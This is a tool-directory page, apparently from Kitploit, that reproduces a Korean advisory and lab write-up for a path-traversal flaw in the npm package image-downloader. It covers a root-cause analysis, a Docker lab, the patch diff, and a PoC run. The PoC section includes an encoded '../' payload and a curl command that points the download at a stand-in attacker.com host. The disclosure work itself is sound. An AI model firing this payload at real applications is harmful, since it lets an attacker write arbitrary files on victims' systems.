Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-103648 — CVE-2026-103648에 대한 권고 및 PoC로, image-downloader 4.3.0의 경로 순회(CWE-22) 취약점이 임의 파일 쓰기를 가능하게 하며, 근본 원인 분석, 패치 diff, Docker 랩을 포함합니다. | Kitploit
도구/GitHubGitHub/eternullsec/cve-2026-103648
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationRed TeamingLabs & Practice
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

CVE-2026-103648에 대한 권고 및 PoC로, image-downloader 4.3.0의 경로 순회(CWE-22) 취약점이 임의 파일 쓰기를 가능하게 하며, 근본 원인 분석, 패치 diff, Docker 랩을 포함합니다.

8시간 7분 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-103648 — image-downloader의 경로 순회(Path Traversal)

CVE CVSS CWE Package Status License

발견자: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ 교육 목적으로만 사용하십시오. 이 저장소는 책임 있게 공개된 취약점을 문서화한 것입니다. 모든 PoC 코드는 격리된 실험실 환경에서의 승인된 보안 연구 및 테스트용으로만 사용하도록 의도되었습니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해서는 사용하지 마십시오.


📋 권고 요약

필드세부 정보
CVE IDCVE-2026-103648
NVD 항목nvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.1 점수9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: 경로명의 제한된 디렉터리 내로의 부적절한 제한
패키지image-downloader (npm), 제작자 demsking
주간 npm 다운로드약 11,000회 (월 약 38,000회) — 출처
영향받는 버전< 4.3.1 (4.3.0을 포함한 모든 버전)
수정 버전4.3.1
할당 기관GitLab
공개일2026-10-02
보고자Amirhossein Roustaei (@EterNullSec), Eternull Security

🔬 기술적 근본 원인 분석

이 취약점은 [email protected]의 파일명 추출 로직에 존재합니다. 다음은 영향받는 버전의 실제 소스 코드입니다 (게시된 npm 패키지에서 직접 가져온 index.js):

// [email protected] — index.js (실제 소스, 수정되지 않음)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

정확한 버그

  1. path.basename(pathname)은 여전히 퍼센트 인코딩된 URL 경로명에 대해 호출됩니다. %2e%2e%2fpwned.sh와 같은 시퀀스에는 리터럴 /가 포함되어 있지 않으므로, path.basename()은 전체를 단일 파일명으로 취급하여 변경 없이 반환합니다 — 아무것도 제거되지 않습니다.
  2. 그 결과는 그다음에 decodeURIComponent()를 통과합니다. 이 단계에서 %2e%2e%2f가 다시 리터럴 ../로 변환됩니다 — 하지만 이 시점에는 이를 정화했어야 할 basename 단계를 이미 통과한 상태입니다.
  3. path.join(options.dest, decodedBasename)이 이제 실제 ../ 세그먼트를 포함하는 문자열로 호출됩니다. path.join()은 cd ..와 동일한 방식으로 ..를 정규화하므로, 최종 쓰기 경로는 options.dest 외부의 위치로 해석됩니다.

요약하면: 코드는 파일명을 올바른 방식으로 디코딩하지만, path.basename()에 대한 순서가 잘못되었습니다. 디코딩 후 basename은 안전하고, basename 후 디코딩은 안전하지 않습니다.

최소 트리거

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

CVSS 분석

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 공격 모델

이 실험실은 재현의 용이성을 위해 단일 스크립트에서 버그의 메커니즘을 처음부터 끝까지 보여주지만, 실제 공격 모델을 명시적으로 밝히는 것이 가치가 있습니다:

  • 피해자: image-downloader의 download.image({ url, dest })를 호출하면서 스스로 완전히 통제하지 않는 url 값을 전달하는 모든 애플리케이션 — 예를 들어 사용자가 제출한 URL(아바타/이미지 가져오기 기능), 웹훅 페이로드에서 가져온 URL, 또는 RSS/콘텐츠 피드에서 읽은 URL.
  • 공격자: 피해자의 url이 가리키는 HTTP 서버를 통제(또는 리다이렉트 가능)하며, 해당 URL의 경로 구성 요소를 통제합니다 — 순회가 응답 본문이 아닌 URL 경로(%2e%2e%2f...)에 존재하므로 이것만으로 충분합니다.
  • 영향: 피해자 프로세스가 공격자가 선택한 파일을 공격자가 선택한 경로에, 개발자가 의도한 디렉터리 외부에 씁니다 — 광범위한 파일 시스템 접근 권한으로 실행되는 컨테이너나 스크립트에서는 이는 흔히 코드 실행으로 확대됩니다 (예: cron 파일, authorized_keys 파일, 또는 앱이 나중에 실행하는 실행 파일 덮어쓰기).

exploit/exploit.py에서는 실험실 편의를 위해 공격자와 피해자 역할이 하나의 스크립트로 합쳐져 있습니다 (이는 "피해자" 서버 요청과 공격자가 통제하는 페이로드 서버를 모두 구동합니다). 실제 공격 시나리오에서 이들은 서로 무관한 두 개의 별개 당사자입니다 — PoC가 이렇게 구성된 것은 순전히 단일 명령으로 취약점을 재현할 수 있게 하기 위함입니다.


🧪 실험실 환경 설정

사전 요구 사항

  • Docker & Docker Compose 또는 Node.js v18+
  • Python 3.x (익스플로잇 스크립트용)

옵션 A — Docker (권장)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

취약한 서버는 http://localhost:3000에서 사용할 수 있습니다.

옵션 B — 수동 Node.js

cd vulnerable-app/
npm install
node server.js

💥 재현 단계 (PoC)

1단계 — 취약한 서버 시작

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

2단계 — 익스플로잇 실행

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

또는 curl로 수동 실행 (순회는 응답 본문이 아닌 URL 경로에 있습니다):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

3단계 — 순회 검증

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 실행 증명

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

🔧 패치 분석

4.3.1에서 수정되었습니다 (커밋 fb44543). 다음은 실제 패치된 소스입니다:

// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
  const decoded = decodeURIComponent(pathname);   // ✅ decode FIRST

  if (decoded.includes('\0')) {
    throw invalidFilename('the URL path contains a NUL byte');
  }
  return path.basename(decoded);                  // ✅ THEN basename
};

const isInside = (file, directory) => {
  const relative = path.relative(directory, file);
  return relative !== '' &&
    relative !== '..' &&
    !relative.startsWith(`..${path.sep}`) &&
    !path.isAbsolute(relative);
};

// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));

if (!isInside(resolved, directory)) {
  return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}

3계층 방어:

  1. basename 전에 디코딩 — 두 연산의 순서를 바꿈으로써 정확한 순서 버그가 수정됩니다.
  2. NUL 바이트 거부 — 일부 파일 시스템 시스템 호출에서의 파일명 잘림 트릭을 방어합니다.
  3. path.relative() 포함 검사 — 결과가 dest 내부로 엄격하게 해석되지 않으면 이를 즉시 거부하는 이중 안전장치로, 향후 변경으로 순서 버그가 재도입되더라도 방어합니다.

🕐 공개 타임라인

날짜이벤트
2026-10-01CVE 예약 (GitLab, CNA로서)
2026-10-02[email protected]에서 패치 릴리스
2026-10-02CVE-2026-103648 공개 (MITRE/NVD)
2026-10-03공개 PoC 저장소 및 분석 문서 릴리스

📚 참고 자료

도구 다운로드